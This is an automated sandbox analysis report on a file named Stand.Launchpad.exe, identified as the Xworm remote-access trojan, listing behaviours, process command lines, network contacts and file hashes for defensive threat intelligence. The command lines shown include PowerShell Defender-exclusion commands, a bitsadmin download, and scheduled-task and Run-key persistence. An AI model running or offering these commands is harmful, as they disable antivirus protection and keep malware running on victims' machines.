Analysis Overview
SHA256
30b857dc8c645dbfc4501f29907f178bca90807863540973fe9c8531e637ffbe
Threat Level: Known bad
The file Stand.Launchpad.exe was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Adds Run key to start application
Looks up external IP address via web service
Enumerates physical storage devices
Unsigned PE
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Download via BitsAdmin
Suspicious use of WriteProcessMemory
Creates scheduled task(s)
Suspicious use of AdjustPrivilegeToken
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-01 05:53
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-01 05:53
Reported
2024-06-01 05:54
Platform
win11-20240426-en
Max time kernel
42s
Max time network
42s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings\MuiCache | C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| N/A | N/A | C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| N/A | 127.0.0.1:43107 | tcp | |
| US | 104.21.48.235:443 | stand.gg | tcp |
| US | 104.21.48.235:443 | stand.gg | tcp |
| DE | 193.161.193.99:43107 | Name1442-43107.portmap.host | tcp |
Files
memory/3572-0-0x0000000000230000-0x0000000000256000-memory.dmp
memory/3572-1-0x00007FFD2B183000-0x00007FFD2B185000-memory.dmp
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
| MD5 | 1876cff7742d4df6149e00b4abf78425 |
| SHA1 | 5e81c297afedde245a5e4f3835021659cf541f65 |
| SHA256 | a83142b28be6ce5e81cd2fa3bdf2e8679d2d1b79de2eaa0df59fde1a0e2ee032 |
| SHA512 | a6dfabf8ba1a7ffbe20fabb12cf964ea3eca04f2115a1f312c7e02daef0c3824947c15e53cab2cf91a01b6945d689d8ce8bb47eee4f39a4e0d8b62292c47722c |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log
| MD5 | 2cbbb74b7da1f720b48ed31085cbd5b8 |
| SHA1 | 79caa9a3ea8abe1b9c4326c3633da64a5f724964 |
| SHA256 | e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3 |
| SHA512 | ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9 |
memory/4908-17-0x0000000000A60000-0x0000000000A7E000-memory.dmp
C:\Users\Admin\AppData\Roaming\Downloader.hta
| MD5 | 4ec749a8c1d7d0a4be501465d297d3dc |
| SHA1 | d7727cb4dc96d653bce6c6bbe70ff171ecc197b7 |
| SHA256 | 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6 |
| SHA512 | 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e |
memory/4908-19-0x00007FFD2B180000-0x00007FFD2BC42000-memory.dmp
memory/1760-22-0x000001851A520000-0x000001851A542000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wgnz5pjj.r4t.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 627073ee3ca9676911bee35548eff2b8 |
| SHA1 | 4c4b68c65e2cab9864b51167d710aa29ebdcff2e |
| SHA256 | 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c |
| SHA512 | 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 05b3cd21c1ec02f04caba773186ee8d0 |
| SHA1 | 39e790bfe10abf55b74dfb3603df8fcf6b5e6edb |
| SHA256 | 911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8 |
| SHA512 | e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d5bfa8bfa4724309248f8219e3501e84 |
| SHA1 | dcdf5cd53a02d97515985215ad46a36feb37167b |
| SHA256 | 6f6147c1ea4009c4c19a07b05e43792bdacc48226db2fa3de5189725cdd4964a |
| SHA512 | 5c3b486b4c4d715009ff362c33c7b268ee59b9f674217ffef82aa4c704afa6bea14e048f47b095aa62c11d016533d72e89076261068cb793c9a9737b48bef304 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 69416944dac24129d0969e2ac46f0533 |
| SHA1 | d71969659956b32411e0606a9bee640a0b108ef4 |
| SHA256 | dffc7e01106427982d7cafd3d7e3be37e16b098fbb0958410ea8d7c68bfb97ca |
| SHA512 | aabb330053579af0d9de2661bd70eaadfd2e2e617759bc9c380db1c64731c6711304e49882138e9d337815377ee012a7458f91f692cb31538d73624385867f4c |
memory/548-68-0x000001E5AF760000-0x000001E5AF776000-memory.dmp
memory/4908-84-0x00007FFD2B180000-0x00007FFD2BC42000-memory.dmp
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
| MD5 | e91ba7113b9ee73bf73cfbf795374b4f |
| SHA1 | beef122500329c4babf0903b183e7ecc933a234a |
| SHA256 | 71d02f8625c90f7c9499fcbc6f2335fbacf9a5fdc58b475e0ffde696de5a9c98 |
| SHA512 | 7c7644a911b218d20300a51c288182312bf57e48c78faf1791c0f710451bd907721d64f3f6d26a0cac77fa7ed088b0bc084d272f4416299122adbec9896586e7 |
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
| MD5 | 2b4dd1474237a4dc70e20f421915ac73 |
| SHA1 | d584be2833b590e89e2de69626463c89f6637baf |
| SHA256 | f3d1b90af58e98b943ee01c3ced5d13c6bdbc5f0c2eaeca9a204aff10c2d3b9d |
| SHA512 | f7b5470b68bc07270f01cd0032b61e60803406bb5f1fc06093dde8fc00ea7c309a9d1c467853c7af5521adf8bacc2257649a4c65d97023357950353707f31c1e |